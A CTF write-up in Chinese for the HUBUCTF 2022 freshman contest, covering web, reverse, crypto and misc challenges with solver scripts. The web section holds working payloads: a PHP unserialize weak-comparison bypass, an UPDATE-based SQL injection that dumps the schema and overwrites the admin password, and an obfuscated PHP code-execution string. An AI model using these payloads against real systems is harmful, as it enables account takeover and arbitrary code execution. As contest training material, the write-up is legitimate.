【HUBUCTF 2022 新生赛】WriteUp

题目来源-NSSCTF

部分题解,没有的题要么还没做要么不会做(菜)

web

checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}
?>

一开始用的是

1
?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

发现不对,好家伙再仔细一看提示,应该是flag.php里修改了变量的值,再仔细一看是弱比较..用true带走

1
?info=?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

ezsql

有点恶心的题目

一个登陆界面,尝试各种注入无果,应该不是注入点。有个注册页面,注册完会有一个更新个人信息页面

image-20220929155241623

试一下update注入,发现注入点是年龄(age)

image-20220929161657851

常规流程:

1
2
3
4
# db
nickname=1&age=1,description=(select database())%23&description=1&token=019dc1aa8df898ac22363f97fcc9ae73
# tables (users)
nickname=1&age=1,description=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&description=1&token=019dc1aa8df898ac22363f97fcc9ae73

搞列名的时候发现报错了,试了下单双引号反引号,全过滤了,所以hex绕过

1
2
# columns (id,username,password,nickname,age,description)
nickname=1&age=1,description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)%23&description=1&token=019dc1aa8df898ac22363f97fcc9ae73

第一个恶心的地方来了哈,这里不能写from,举个例子

image-20220929173432660

那就看看密码是啥形式存储的

1
2
# password
nickname=1&age=1,description=(select password)%23&description=1&token=019dc1aa8df898ac22363f97fcc9ae73

image-20220929174102146

md5存的,那直接改admin的密码,引号不让用,手动hex一下

1
nickname=1&age=1,password=(select 0x6334636134323338613062393233383230646363353039613666373538343962)%23&description=1&token=019dc1aa8df898ac22363f97fcc9ae73

退回去登录admin,发现啥也没有,想起来第一步update,把所有用户的description都改了,但是吧,一开始也不知道字段名,不知道where怎么写,有点恶心人

重启靶机改个密码,登admin拿到flag

image-20220929175754982

Calculate

脚本跑一下,没啥好说的,注意请求不要太快就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re
import time

url = 'url'

sess = requests.session()

for i in range(20):
content = sess.get(url).text
time.sleep(1)
r_list = re.findall(
r'<div style="display:inline;(.*?)">(.*?)</div>', content)
statement = ''
for j in range(0, len(r_list)-1):
statement += r_list[j][1]
ans = eval(statement)
res = sess.post(url, data={"ans": ans})
print(res.text)
time.sleep(1)

HowToGetShell

也没好说的 自增 urlencode

1
mess=$_=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B;&_=phpinfo();

phpinfo里藏着flag

reverse

simple_RE

查壳,64位无壳

image-20220930093555529

对输入做了处理,然后和一个变量进行对比,查看sub_401570,做了base64操作,只不过用了自定义表,换表即可

image-20220930093743473

image-20220930093755396

1
2
3
4
5
6
7
8
import base64

str1 = "5Mc58bPHLiAx7J8ocJIlaVUxaJvMcoYMaoPMaOfg15c475tscHfM/8=="

string1 = "qvEJAfHmUYjBac+u8Ph5n9Od17FrICL/X0gVtM4Qk6T2z3wNSsyoebilxWKGZpRD"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))

ezPython

题目是个pyc,反编译一下

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
import base64
import base58
password = open('password.txt', 'r').read()
tmp = bytes_to_long(password.encode('utf-8'))
ans = base64.b64encode(base58.b58encode(str(tmp))).decode()
print("I've forgot my password,could you please help me find the password?")
if ans == 'M0hBajFITHVLcWV6R1BOcEM5MTR0R0J3eGZVODV6MTJjZUhGZFNHQw==':
print('You get the password!')
else:
print('Wrong! try again')

password->bytes_to_long->base58->base64

按这个顺序逆一下,以及最后password要md5

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import *
import base64
import base58
import hashlib

ans = 'M0hBajFITHVLcWV6R1BOcEM5MTR0R0J3eGZVODV6MTJjZUhGZFNHQw=='
password = int(base58.b58decode(base64.b64decode(ans)))
flag = hashlib.md5(long_to_bytes(password)).hexdigest()
print(flag)

help

无壳 64位

image-20220930111351592

输入一串char[54] path,并且要通过check,查看一眼check

image-20220930111532672

第一眼很复杂,把数字转成字符之后发现path就是由wsad组成,代表上下左右,xy就是坐标,每一步都会进行校验,一旦map[16*x+y]是真值就寄了,所以关键是map的值。

map由CreateMap()生成

image-20220930111938054

num变量是长度16的数组

image-20220930112012957

搞一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
num = [0xFFFF,
0x83F7,
0xBBF7,
0xBB17,
0xBB57,
0xB857,
0xBF57,
0xBF17,
0xBFB7,
0xBFB7,
0x8611,
0xF7B5,
0xF7B5,
0x87B4,
0xBF87,
0xBFFF]
map = [-1 for x in range(256)]

for i in range(16):
tmp = num[i]
j = 1
v0 = j
while(v0 and j <= 16):
map[16*i+16-j] = tmp & 1
tmp >>= 1
j = j+1
v0 = j


for y in range(0, 256, 16):
print(map[y:y+16])

image-20220930114200235

一个迷宫,(我是做ctf还是做leetcode…)找了个BFS稍微修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
def valid_actions(matrix, cur_point):
re = []
rows = len(matrix)
cols = len(matrix[0])
if cur_point[1]+1 < cols and matrix[cur_point[0]][cur_point[1]+1] != 1:
re.append('d')
if cur_point[0] + 1 < rows and matrix[cur_point[0]+1][cur_point[1]] != 1:
re.append('s')
if cur_point[1]-1 >= 0 and matrix[cur_point[0]][cur_point[1]-1] != 1:
re.append('a')
if cur_point[0]-1 >= 0 and matrix[cur_point[0]-1][cur_point[1]] != 1:
re.append('w')
return re


def robot_move(cur_point, action):
if action == 'd':
return (cur_point[0], cur_point[1]+1)
if action == 's':
return (cur_point[0]+1, cur_point[1])
if action == 'a':
return (cur_point[0], cur_point[1]-1)
if action == 'w':
return (cur_point[0]-1, cur_point[1])


def main(matrix, start_point, end_point):
queue = []
cur_point = start_point
queue.append((cur_point, [start_point], list()))
matrix[cur_point[0]][cur_point[1]] = 1
while queue:
cur_point, cur_path, path_action = queue.pop(0)
if cur_point == end_point:
return ''.join(path_action)
else:
acts = valid_actions(matrix, cur_point)
if acts:
for a in acts:
next_point = robot_move(cur_point, a)
queue.append(
(next_point, cur_path + [next_point], path_action+[a]))
matrix[next_point[0]][next_point[1]] = 1


if __name__ == '__main__':
M = [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1],
[1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1],
[1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
[1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
[1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0],
[1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1],
[1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]]
start = (15, 1)
end = (13, 15)
path = main(M, start, end)
print(path) # wwdddwwwaaawwwwwwwwwddddssssdddssdsssssssdddwwwwddsssd

验证了一下ok,md5后就是flag值

image-20220930124526040

Crypto

RSAaaa

给了公钥和密文,n比较小,直接在线分解pq就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
from gmpy2 import *

c_list = "473878130775 40132555282 40132555282 94619939727 72818765591 208015808884 42561234694 159353248388 27748063975 159353248388 159353248388 278953790403 410746718603 496849210942 27748063975 142521857906 103632267191 17774494147 328684046745 278953790403 129956887006 129956887006 366275425558 328684046745 142521857906 410746718603 142521857906 129956887006 379067009467 328684046745 159353248388 366275425558 129956887006 103632267191 27748063975 27748063975 17774494147 160623996897 278953790403 182341799525".split(' ')
p, q = 540961, 992623
e = 65537
n = p*q
phi = (p-1)*(q-1)
d = invert(e, phi)
flag = b''
for c in c_list:
m = powmod(int(c), d, n)
flag += long_to_bytes(m)

print(flag)

baby_encrypt

1
781612443113954655886887407898899451044114412011257135914071455155316031651170318041861191719652013207021272183228423832485254125932643269827992924

第一眼78,大写N的ASCII码,但是S是83,压根没出现,题目有提示加法,发现78+83=161 161+83=244找到规律了,开搞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import string

str = '781612443113954655886887407898899451044114412011257135914071455155316031651170318041861191719652013207021272183228423832485254125932643269827992924'
table = string.ascii_letters+string.digits+'{}-'

last = 78 # 上一个数
point = 2 # 指针
flag = 'N'

while(point < len(str)):
for i in range(1, 10086):
cur_num = int(str[point:point+i])
diff = cur_num - last
if diff < 32 or diff > 127:
continue

c = chr(diff)
if c in table:
flag += c
point = point+i
last = cur_num
break

print(flag)

ezMath

nc连靶机

image-20221001101516259

不恶心人话XXXX应该是四位大写小写数字,爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
import itertools
import string
from Crypto.Hash import SHA256

tables = string.ascii_letters+string.digits

for i in itertools.product(tables, repeat=4):
c = f'{i[0]}{i[1]}{i[2]}{i[3]}nRDaVm87YBwDGxzi'
target = 'd5745fb860626c78d95f9b74fdc9ede95b79671744d613319227da4a1c000328'
if SHA256.new(c.encode()).hexdigest() == target:
print(c)
break

拿到key之后就是让做数学题了,题目提示要做100道,那就pwntools开搞..

image-20221001104732719

大意了,这第一步居然也是动态的,意味着后续调试都要经历一遍爆破,这个就有点恶心人了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import itertools
import string
from Crypto.Hash import SHA256
from pwn import *

tables = string.ascii_letters+string.digits

def get_key(rest, target):
for i in itertools.product(tables, repeat=4):
key = f'{i[0]}{i[1]}{i[2]}{i[3]}'.encode()
c = key+rest
if SHA256.new(c).hexdigest().encode() == target:
return key


r = remote('1.14.71.254', 28691)
r.recvuntil(b'sha256(XXXX+')
rest = r.recvuntil(b')', drop=True)
r.recvuntil(b' == ')
target = r.recvuntil(b'\n', drop=True)
key = get_key(rest, target)

r.sendlineafter(b'Plz Tell Me XXXX :', key)

for i in range(100):
r.recvline()
r.recvuntil(b'[+] ')
statement = r.recvuntil(b' = ', drop=True)
res = str(eval(statement)).encode()
print('statement: ', statement, 'res: ', res)
r.sendlineafter(b'?', res)
r.recvline()

fin = r.recvall()
print(fin)

image-20221001133106058

misc

最简单的misc

lsb,save一下是个二维码,扫一下就行

image-20221008091717547

messy_traffic

编号459http报文,上传了一个flag.zip,复制下来010里另存为zip

image-20221001205238315

zip发现有密码,编号445http报文执行了cat passwd.txt,编号447http报文查看密码

image-20221001205424121

image-20221001205440286

用密码解压得到flag.txt

base32

纯恶心人,手头上有牛逼OCR工具的可以试一试

vmem

直接取证没结果,后来才发现附件是个zip..

查看镜像信息

image-20221001222004455

查看文件,发现三个flag相关

image-20221001223341324

dumpfiles挨个搞下来,第一个:

image-20221001223453351

第二个是个图片

image-20221001223716636

第三个是个py,这个改个名字跑一下就行

image-20221001223800704

1
2
3
4
5
flag3 = ""
flag_enc = "}al):{m)yh{})fo)oehn)`z)3)VPF|V^hg](t"
for i in range(len(flag_enc)):
flag3 += chr(ord(flag_enc[i]) ^ 0xf - 6)
print(flag3) # the 3rd part of flag is : _YOu_WanT!}

三段拼起来就是flag NSSCTF{W0w_y0u_G3t_th3_P4sSWd_YOu_WanT!}